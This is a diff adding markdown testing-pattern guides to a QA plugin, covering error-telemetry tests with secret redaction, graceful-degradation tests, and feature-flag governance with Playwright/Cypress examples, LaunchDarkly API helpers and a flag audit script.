+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
